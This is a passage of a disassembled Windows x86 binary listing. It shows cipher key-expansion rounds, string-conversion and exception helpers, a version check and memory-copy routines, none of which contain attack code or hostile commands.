[ebp+arg_0] xor edx, ds:dword_42AC60[esi*4] mov [ebp+var_8], eax xor [ebp+var_28], edx mov edx, [ebp+var_28] mov [ecx-4], edx mov edx, [ebp+var_24] xor edx, [ebp+var_28] xor [ebp+var_20], edx mov [ecx], edx mov [ebp+var_24], edx mov edx, [ebp+var_20] xor ebx, edx mov [ecx+4], edx mov eax, ebx shr eax, 10h movzx esi, al mov [ecx+8], ebx mov edx, ebx shr edx, 18h mov edx, ds:dword_42C8D8[edx*4] xor edx, ds:dword_42C4D8[esi*4] mov eax, ebx shr eax, 8 movzx esi, al xor edx, ds:dword_42C0D8[esi*4] mov eax, [ebp+var_8] movzx esi, bl xor edx, ds:dword_42BCD8[esi*4] add ecx, 20h xor edi, edx mov edx, [ebp+var_14] xor edx, edi xor [ebp+var_10], edx mov [ecx-10h], edx mov [ebp+var_14], edx mov edx, [ebp+var_10] xor eax, edx inc [ebp+arg_0] mov [ecx-0Ch], edx mov edx, [ebp+arg_0] cmp edx, [ebp+var_4] mov [ecx-14h], edi mov [ecx-8], eax jb loc_41B540 jmp loc_41B74F ; --------------------------------------------------------------------------- loc_41B615: ; CODE XREF: sub_41B3D5+C4j movzx edx, byte ptr [ecx+11h] xor eax, eax mov ah, [ecx+13h] and [ebp+arg_0], 0 mov al, [ecx+12h] shl eax, 8 or eax, edx movzx edx, byte ptr [ecx+10h] shl eax, 8 or eax, edx mov edi, eax xor eax, eax mov [esi+10h], edi mov ah, [ecx+17h] movzx edx, byte ptr [ecx+15h] mov al, [ecx+16h] movzx ecx, byte ptr [ecx+14h] shl eax, 8 or eax, edx shl eax, 8 or eax, ecx cmp [ebp+var_4], 0 mov [esi+14h], eax jbe loc_41B74F lea ecx, [esi+1Ch] loc_41B662: ; CODE XREF: sub_41B3D5+309j mov [ebp+var_8], ebx mov ebx, eax shr ebx, 10h movzx esi, bl mov edx, eax shr edx, 18h mov edx, ds:dword_42C4D8[edx*4] xor edx, ds:dword_42C0D8[esi*4] mov ebx, eax shr ebx, 8 movzx esi, bl xor edx, ds:dword_42BCD8[esi*4] mov ebx, [ebp+var_8] movzx esi, al xor edx, ds:dword_42C8D8[esi*4] mov esi, [ebp+arg_0] xor edx, ds:dword_42AC60[esi*4] xor [ebp+var_28], edx mov edx, [ebp+var_28] mov [ecx-4], edx mov edx, [ebp+var_24] xor edx, [ebp+var_28] xor [ebp+var_20], edx mov [ecx], edx mov [ebp+var_24], edx mov edx, [ebp+var_20] xor ebx, edx xor edi, ebx xor eax, edi inc [ebp+arg_0] mov [ecx+4], edx mov edx, [ebp+arg_0] mov [ecx+8], ebx mov [ecx+0Ch], edi mov [ecx+10h], eax add ecx, 18h cmp edx, [ebp+var_4] jb short loc_41B662 jmp short loc_41B74F ; --------------------------------------------------------------------------- loc_41B6E2: ; CODE XREF: sub_41B3D5+BAj xor edi, edi test eax, eax jbe short loc_41B74F lea eax, [esi+14h] mov esi, [ebp+var_28] loc_41B6EE: ; CODE XREF: sub_41B3D5+378j mov edx, ebx shr edx, 10h movzx edx, dl mov ecx, ebx shr ecx, 18h mov ecx, ds:dword_42C4D8[ecx*4] xor ecx, ds:dword_42C0D8[edx*4] mov edx, ebx shr edx, 8 movzx edx, dl xor ecx, ds:dword_42BCD8[edx*4] movzx edx, bl xor ecx, ds:dword_42C8D8[edx*4] xor ecx, ds:dword_42AC60[edi*4] xor esi, ecx mov ecx, [ebp+var_24] xor ecx, esi xor [ebp+var_20], ecx mov [eax], ecx mov [ebp+var_24], ecx mov ecx, [ebp+var_20] xor ebx, ecx mov [eax-4], esi mov [eax+4], ecx mov [eax+8], ebx inc edi add eax, 10h cmp edi, [ebp+var_4] jb short loc_41B6EE loc_41B74F: ; CODE XREF: sub_41B3D5+162j ; sub_41B3D5+23Bj ... xor eax, eax inc eax loc_41B752: ; CODE XREF: sub_41B3D5+D9j pop edi pop esi pop ebx leave retn sub_41B3D5 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41B758 proc near ; CODE XREF: sub_40547E+5Bp jmp ds:dword_4292DC sub_41B758 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B760 proc near ; CODE XREF: sub_409729+D1p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_41B760 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov edi, [ebp+arg_0] test edi, edi mov [ebp+var_10], esp jz loc_41B847 push edi call sub_41E0CD add esp, 4 push 0 push 0 push 0 push 0 mov esi, eax inc esi push esi push edi push 0 push 0 mov [ebp+var_14], esi call ds:dword_429174 ; WideCharToMultiByte mov edi, eax test edi, edi mov [ebp+var_18], edi jnz short loc_41B808 mov esi, ds:dword_4290D8 call esi ; RtlGetLastWin32Error test eax, eax jg short loc_41B7E1 call esi ; RtlGetLastWin32Error push eax call sub_41B8C0 xor eax, eax mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41B7E1: ; CODE XREF: sub_41B760+62j call esi ; RtlGetLastWin32Error and eax, 0FFFFh or eax, 80070000h push eax call sub_41B8C0 xor eax, eax mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41B808: ; CODE XREF: sub_41B760+56j push edi mov [ebp+var_4], 0 call sub_41BA91 add esp, 4 mov ebx, eax jmp short loc_41B832 ; --------------------------------------------------------------------------- loc_41B81C: ; DATA XREF: .text:0043108Co mov [ebp+var_1C], 0 mov eax, offset loc_41B829 retn ; --------------------------------------------------------------------------- loc_41B829: ; DATA XREF: sub_41B760+C3o mov esi, [ebp+var_14] mov edi, [ebp+var_18] mov ebx, [ebp+var_1C] loc_41B832: ; CODE XREF: sub_41B760+BAj test ebx, ebx mov [ebp+var_4], 0FFFFFFFFh jnz short loc_41B85C push 8007000Eh call sub_41B8C0 loc_41B847: ; CODE XREF: sub_41B760+26j xor eax, eax mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41B85C: ; CODE XREF: sub_41B760+DBj mov eax, [ebp+arg_0] push 0 push 0 push edi push ebx push esi push eax push 0 push 0 call ds:dword_429174 ; WideCharToMultiByte test eax, eax jnz short loc_41B8A2 push ebx call sub_41C7B8 mov esi, ds:dword_4290D8 add esp, 4 xor ebx, ebx call esi ; RtlGetLastWin32Error test eax, eax jg short loc_41B890 call esi ; RtlGetLastWin32Error jmp short loc_41B89C ; --------------------------------------------------------------------------- loc_41B890: ; CODE XREF: sub_41B760+12Aj call esi ; RtlGetLastWin32Error and eax, 0FFFFh or eax, 80070000h loc_41B89C: ; CODE XREF: sub_41B760+12Ej push eax call sub_41B8C0 loc_41B8A2: ; CODE XREF: sub_41B760+113j mov ecx, [ebp+var_C] pop edi pop esi mov eax, ebx mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 sub_41B760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B8C0 proc near ; CODE XREF: sub_41B760+67p ; sub_41B760+8Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call ds:off_433090 retn 4 sub_41B8C0 endp ; --------------------------------------------------------------------------- loc_41B8D0: ; CODE XREF: sub_41B8C0+7p ; DATA XREF: .text:off_433090o sub esp, 10h mov eax, [esp+14h] mov ecx, [esp+18h] push offset dword_4310E4 lea edx, [esp+4] push edx mov dword ptr [esp+8], offset off_4293F4 mov [esp+0Ch], eax mov [esp+10h], ecx mov dword ptr [esp+14h], 0 call sub_41E4BE ; --------------------------------------------------------------------------- db 0Eh dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov dword ptr [esi], offset off_4293F4 mov ecx, [eax+4] mov [esi+4], ecx mov edx, [eax+8] mov eax, edx test eax, eax mov [esi+8], edx mov dword ptr [esi+0Ch], 0 jz short loc_41B93C mov ecx, [eax] push eax call dword ptr [ecx+4] loc_41B93C: ; CODE XREF: .text:0041B934j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- align 10h loc_41B950: ; DATA XREF: .text:004310E8o push esi mov esi, ecx mov eax, [esi+8] test eax, eax mov dword ptr [esi], offset off_4293F4 jz short loc_41B966 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_41B966: ; CODE XREF: .text:0041B95Ej mov esi, [esi+0Ch] test esi, esi jz short loc_41B974 push esi call ds:dword_429178 ; LocalFree loc_41B974: ; CODE XREF: .text:0041B96Bj pop esi retn ; --------------------------------------------------------------------------- align 10h loc_41B980: ; DATA XREF: .text:off_4293F4o push esi mov esi, ecx mov eax, [esi+8] test eax, eax mov dword ptr [esi], offset off_4293F4 jz short loc_41B996 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_41B996: ; CODE XREF: .text:0041B98Ej mov eax, [esi+0Ch] test eax, eax jz short loc_41B9A4 push eax call ds:dword_429178 ; LocalFree loc_41B9A4: ; CODE XREF: .text:0041B99Bj test byte ptr [esp+8], 1 jz short loc_41B9B4 push esi call sub_41C7B8 add esp, 4 loc_41B9B4: ; CODE XREF: .text:0041B9A9j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41B9BA proc near ; CODE XREF: sub_40497E+3Ap ; sub_40497E+57p ... jmp ds:dword_4292EC sub_41B9BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41B9C0 proc near ; CODE XREF: sub_4142D6+EDp jmp ds:dword_429158 sub_41B9C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41B9C6 proc near ; CODE XREF: sub_4142D6+163p jmp ds:dword_429168 sub_41B9C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41B9CC proc near ; CODE XREF: sub_4142D6+CAp jmp ds:dword_42916C sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= sub_41B9D2 proc near ; DATA XREF: .text:off_429484o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41B9EE test [esp+4+arg_0], 1 jz short loc_41B9E8 push esi call sub_41C7B8 pop ecx loc_41B9E8: ; CODE XREF: sub_41B9D2+Dj mov eax, esi pop esi retn 4 sub_41B9D2 endp ; =============== S U B R O U T I N E ======================================= sub_41B9EE proc near ; CODE XREF: sub_41B9D2+3p ; DATA XREF: .text:00431124o mov dword ptr [ecx], offset off_429484 jmp sub_40103C sub_41B9EE endp ; =============== S U B R O U T I N E ======================================= sub_41B9F9 proc near ; CODE XREF: sub_401905+13p ; sub_401B42+Fp var_40 = dword ptr -40h mov eax, offset loc_427912 call sub_41E550 sub esp, 44h push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-28h] call sub_401818 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401000 push offset dword_431120 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_429484 call sub_41E4BE int 3 ; Trap to Debugger push esi push [esp+48h+var_40] mov esi, ecx call sub_401E4B mov dword ptr [esi], offset off_429484 mov eax, esi pop esi retn 4 sub_41B9F9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BA51 proc near ; CODE XREF: sub_401BCA+Dp mov eax, offset loc_427912 call sub_41E550 sub esp, 44h push offset aStringTooLong ; "string too long" lea ecx, [ebp-28h] call sub_401818 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401000 push offset dword_43118C lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_429478 call sub_41E4BE int 3 ; Trap to Debugger sub_41BA51 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BA91 proc near ; CODE XREF: sub_4017D5+5p ; sub_401A4D+27p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] jmp short loc_41BAA8 ; --------------------------------------------------------------------------- loc_41BA98: ; CODE XREF: sub_41BA91+20j push esi call sub_41E56F test eax, eax pop ecx jnz short loc_41BAA8 call sub_41BAF9 loc_41BAA8: ; CODE XREF: sub_41BA91+5j ; sub_41BA91+10j push esi call sub_41D0C4 test eax, eax pop ecx jz short loc_41BA98 pop esi retn sub_41BA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41BAB5 proc near ; CODE XREF: sub_40229D+4p ; sub_402382+5Dp ... jmp sub_41BA91 sub_41BAB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BABA proc near ; CODE XREF: .text:0041BAC8p ; sub_4280CC+BFj ; DATA XREF: ... mov dword ptr [ecx], offset off_4294B8 jmp sub_41C855 sub_41BABA endp ; --------------------------------------------------------------------------- loc_41BAC5: ; DATA XREF: .text:off_4294B8o push esi mov esi, ecx call sub_41BABA test byte ptr [esp+8], 1 jz short loc_41BADB push esi call sub_41C7B8 pop ecx loc_41BADB: ; CODE XREF: .text:0041BAD2j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_41C80B mov dword ptr [esi], offset off_4294B8 mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAF9 proc near ; CODE XREF: sub_41BA91+12p var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test byte ptr ds:dword_43548C, 1 push esi mov esi, offset off_4294B8 jnz short loc_41BB3B or ds:dword_43548C, 1 lea eax, [ebp+var_4] push eax mov ecx, offset dword_435480 mov [ebp+var_4], offset dword_4294C0 call sub_41C7CE push offset loc_428186 mov ds:dword_435480, esi call sub_41C58E pop ecx loc_41BB3B: ; CODE XREF: sub_41BAF9+13j push offset dword_435480 lea ecx, [ebp+var_10] call sub_41C80B push offset dword_43117C lea eax, [ebp+var_10] push eax mov [ebp+var_10], esi call sub_41E4BE int 3 ; Trap to Debugger loc_41BB5A: ; CODE XREF: sub_4280CC-C52Aj push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_41BB6D push eax call sub_41C2DD and dword ptr [esi], 0 pop ecx loc_41BB6D: ; CODE XREF: sub_41BAF9+68j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 pop esi retn sub_41BAF9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BB77 proc near ; CODE XREF: sub_41BBA7+16p push esi mov esi, ecx lea ecx, [esi+18h] call sub_40114E xor eax, eax mov [esi+30h], eax mov [esi+34h], eax mov [esi+38h], eax mov eax, esi pop esi retn sub_41BB77 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4280CC loc_41BB91: ; CODE XREF: sub_4280CC+C9j push esi mov esi, ecx lea eax, [esi+18h] push eax call ds:dword_429098 ; RtlDeleteCriticalSection lea ecx, [esi+30h] pop esi jmp loc_41BB5A ; END OF FUNCTION CHUNK FOR sub_4280CC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_41BBA7 proc near ; CODE XREF: sub_4280CC+5p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 98h mov eax, ds:dword_433148 push esi mov [ebp+78h+var_4], eax mov esi, ecx call sub_41BB77 mov eax, 400000h push 94h mov [esi+8], eax mov [esi+4], eax lea eax, [ebp+78h+var_98] push 0 push eax mov dword ptr [esi], 3Ch mov byte ptr [esi+0Ch], 0 call sub_41C6D0 add esp, 0Ch lea eax, [ebp+78h+var_98] push eax mov [ebp+78h+var_98], 94h call ds:dword_42909C ; GetVersionExA cmp [ebp+78h+var_88], 2 jnz short loc_41BC09 cmp [ebp+78h+var_94], 5 jb short loc_41BC21 jmp short loc_41BC1D ; --------------------------------------------------------------------------- loc_41BC09: ; CODE XREF: sub_41BBA7+58j cmp [ebp+78h+var_88], 1 jnz short loc_41BC21 cmp [ebp+78h+var_94], 4 ja short loc_41BC1D jnz short loc_41BC21 cmp [ebp+78h+var_90], 0 jbe short loc_41BC21 loc_41BC1D: ; CODE XREF: sub_41BBA7+60j ; sub_41BBA7+6Cj mov byte ptr [esi+0Ch], 1 loc_41BC21: ; CODE XREF: sub_41BBA7+5Ej ; sub_41BBA7+66j ... lea ecx, [esi+18h] mov dword ptr [esi+10h], 710h mov dword ptr [esi+14h], offset dword_4294E0 call sub_401162 test eax, eax jge short loc_41BC42 mov ds:byte_4359C0, 1 loc_41BC42: ; CODE XREF: sub_41BBA7+92j mov ecx, [ebp+78h+var_4] mov eax, esi pop esi call sub_41E5BB add ebp, 78h leave retn sub_41BBA7 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC60 proc near ; CODE XREF: sub_401905+76p ; sub_4019B1+23p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41BC80 cmp edi, eax jb loc_41BDFC loc_41BC80: ; CODE XREF: sub_41BC60+16j test edi, 3 jnz short loc_41BC9C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41BCBC rep movsd jmp ds:off_41BDAC[edx*4] ; --------------------------------------------------------------------------- loc_41BC9C: ; CODE XREF: sub_41BC60+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41BCB4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41BCBC+4[eax*4] ; --------------------------------------------------------------------------- loc_41BCB4: ; CODE XREF: sub_41BC60+46j jmp dword ptr ds:loc_41BDBC[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41BCBC: ; CODE XREF: sub_41BC60+31j ; sub_41BC60+8Ej ... jmp ds:off_41BD40[ecx*4] ; --------------------------------------------------------------------------- align 4 sar byte ptr [ecx+eax*2+41BCFC00h], 1 add [eax], ah mov ebp, 0D1230041h mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41BCBC rep movsd jmp ds:off_41BDAC[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41BCBC rep movsd jmp ds:off_41BDAC[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_41BCBC rep movsd jmp ds:off_41BDAC[edx*4] ; --------------------------------------------------------------------------- align 10h off_41BD40 dd offset loc_41BDA3 ; DATA XREF: sub_41BC60:loc_41BCBCr dd offset loc_41BD90 dd offset loc_41BD88 dd offset loc_41BD80 dd offset loc_41BD78 dd offset loc_41BD70 dd offset loc_41BD68 dd offset loc_41BD60 ; --------------------------------------------------------------------------- loc_41BD60: ; CODE XREF: sub_41BC60:loc_41BCBCj ; DATA XREF: sub_41BC60+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41BD68: ; CODE XREF: sub_41BC60:loc_41BCBCj ; DATA XREF: sub_41BC60+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41BD70: ; CODE XREF: sub_41BC60:loc_41BCBCj ; DATA XREF: sub_41BC60+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41BD78: ; CODE XREF: sub_41BC60:loc_41BCBCj ; DATA XREF: sub_41BC60+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41BD80: ; CODE XREF: sub_41BC60:loc_41BCBCj ; DATA XREF: sub_41BC60+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41BD88: ; CODE XREF: sub_41BC60:loc_41BCBCj ; DATA XREF: sub_41BC60+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41BD90: ; CODE XREF: sub_41BC60:loc_41BCBCj ; DATA XREF: sub_41BC60+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41BDA3: ; CODE XREF: sub_41BC60:loc_41BCBCj ; DATA XREF: sub_41BC60:off_41BD40o jmp ds:off_41BDAC[edx*4] ; --------------------------------------------------------------------------- align 4 off_41BDAC dd offset loc_41BDBC ; DATA XREF: sub_41BC60+35r ; sub_41BC60+92r ... dd offset loc_41BDC4 dd offset loc_41BDD0 dd offset loc_41BDE4 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BC60+35j ; sub_41BC60+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41BDC4: ; CODE XREF: sub_41BC60+35j ; sub_41BC60+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41BDD0: ; CODE XREF: sub_41BC60+35j ; sub_41BC60+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41BDE4: ; CODE XREF: sub_41BC60+35j ; sub_41BC60+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41BDFC: ; CODE XREF: sub_41BC60+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41BE30 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41BE24 std rep movsd cld jmp ds:off_41BF48[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41BE24: ; CODE XREF: sub_41BC60+1B5j ; sub_41BC60+210j ... neg ecx jmp ds:off_41BEF8[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_41BE30: ; CODE XREF: sub_41BC60+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41BE48 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_41BE48+4[eax*4] ; --------------------------------------------------------------------------- loc_41BE48: ; CODE XREF: sub_41BC60+1DAj ; DATA XREF: sub_41BC60+1E1r jmp ds:off_41BF48[ecx*4] ; --------------------------------------------------------------------------- align 10h dd offset loc_41BE5B+1 ; --------------------------------------------------------------------------- cmp byte ptr [esi-4157FFBFh], 41h loc_41BE5B: ; DATA XREF: sub_41BC60+1F0o add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_41BE24 std rep movsd cld jmp ds:off_41BF48[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41BE24 std rep movsd cld jmp ds:off_41BF48[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41BE24 std rep movsd cld jmp ds:off_41BF48[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41BEFC dd offset loc_41BF04 dd offset loc_41BF0C dd offset loc_41BF14 dd offset loc_41BF1C dd offset loc_41BF24 dd offset loc_41BF2C off_41BEF8 dd offset loc_41BF3F ; DATA XREF: sub_41BC60+1C6r ; --------------------------------------------------------------------------- loc_41BEFC: ; DATA XREF: sub_41BC60+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41BF04: ; DATA XREF: sub_41BC60+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41BF0C: ; DATA XREF: sub_41BC60+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41BF14: ; DATA XREF: sub_41BC60+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41BF1C: ; DATA XREF: sub_41BC60+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41BF24: ; DATA XREF: sub_41BC60+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41BF2C: ; DATA XREF: sub_41BC60+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41BF3F: ; CODE XREF: sub_41BC60+1C6j ; DATA XREF: sub_41BC60:off_41BEF8o jmp ds:off_41BF48[edx*4] ; --------------------------------------------------------------------------- align 4 off_41BF48 dd offset loc_41BF58 ; DATA XREF: sub_41BC60+1BBr ; sub_41BC60:loc_41BE48r ... dd offset loc_41BF60 dd offset loc_41BF70 dd offset loc_41BF84 ; --------------------------------------------------------------------------- loc_41BF58: ; CODE XREF: sub_41BC60+1BBj ; sub_41BC60:loc_41BE48j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41BF60: ; CODE XREF: sub_41BC60+1BBj ; sub_41BC60:loc_41BE48j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41BF70: ; CODE XREF: sub_41BC60+1BBj ; sub_41BC60:loc_41BE48j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41BF84: ; CODE XREF: sub_41BC60+1BBj ; sub_41BC60:loc_41BE48j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41BC60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BFA0 proc near ; CODE XREF: sub_401B42+4Ep ; sub_407EA0+12p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41BFC0 cmp edi, eax jb loc_41C13C loc_41BFC0: ; CODE XREF: sub_41BFA0+16j test edi, 3 jnz short loc_41BFDC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41BFFC rep movsd jmp ds:off_41C0EC[edx*4] ; --------------------------------------------------------------------------- loc_41BFDC: ; CODE XREF: sub_41BFA0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41BFF4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41BFFC+4[eax*4] ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41BFA0+46j jmp dword ptr ds:loc_41C0FC[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41BFFC: ; CODE XREF: sub_41BFA0+31j ; sub_41BFA0+8Ej ... jmp ds:off_41C080[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C010 dd offset loc_41C03C dd offset loc_41C060 ; --------------------------------------------------------------------------- loc_41C010: ; DATA XREF: sub_41BFA0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41BFFC rep movsd jmp ds:off_41C0EC[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41C03C: ; DATA XREF: sub_41BFA0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41BFFC rep movsd jmp ds:off_41C0EC[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C060: ; DATA XREF: sub_41BFA0+6Co and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_41BFFC rep movsd jmp ds:off_41C0EC[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C080 dd offset loc_41C0E3 ; DATA XREF: sub_41BFA0:loc_41BFFCr dd offset loc_41C0D0 dd offset loc_41C0C8 dd offset loc_41C0C0 dd offset loc_41C0B8 dd offset loc_41C0B0 dd offset loc_41C0A8 dd offset loc_41C0A0 ; --------------------------------------------------------------------------- loc_41C0A0: ; CODE XREF: sub_41BFA0:loc_41BFFCj ; DATA XREF: sub_41BFA0+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C0A8: ; CODE XREF: sub_41BFA0:loc_41BFFCj ; DATA XREF: sub_41BFA0+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C0B0: ; CODE XREF: sub_41BFA0:loc_41BFFCj ; DATA XREF: 